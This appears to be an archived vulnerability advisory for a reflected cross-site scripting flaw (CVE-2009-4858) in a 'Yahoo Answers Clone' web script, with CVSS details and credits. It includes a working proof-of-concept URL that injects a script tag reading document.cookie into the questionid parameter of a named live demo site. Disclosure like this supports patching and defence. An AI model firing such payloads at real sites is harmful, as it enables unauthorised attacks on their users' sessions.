Yahoo Answers Clone Remote XSS Vulnerabilities

2010-05-22 / 2010-05-23

Credit: Moudi

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2009-4858

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

/*
_____ _ ___ __
| ____|_ _(_) \ \ / /_ _ _ _
| _| \ \ / / | |\ \ /\ / / _` | | | |
| |___ \ V /| | | \ V V / (_| | |_| |
|_____| \_/ |_|_| \_/\_/ \__,_|\__, |
|___/
_____
|_ _|__ __ _ _ __ ___
| |/ _ \/ _` | '_ ` _ \
| | __/ (_| | | | | | |
|_|\___|\__,_|_| |_| |_|
Yahoo Answers Clone Remote XSS Vulnerabilities
Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://www.turnkeyforms.com/yahoo-answers-clone.html
Greetings : Mizoz, Zuka, str0ke, 599eme Man.
*/
[+] Exploit XSS:
- Vulnerable code in questiondetail.php (questionid).
- Poc:
http://127.0.0.1/questiondetail.php?questionid=[XSS]
http://demo.turnkeyforms.com/youaskit/questiondetail.php?questionid="><script>alert(document.cookie);</script>

References:

http://secunia.com/advisories/36239

http://packetstormsecurity.org/0908-exploits/yac-xss.txt

See this note in RAW Version

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Yahoo Answers Clone Remote XSS Vulnerabilities

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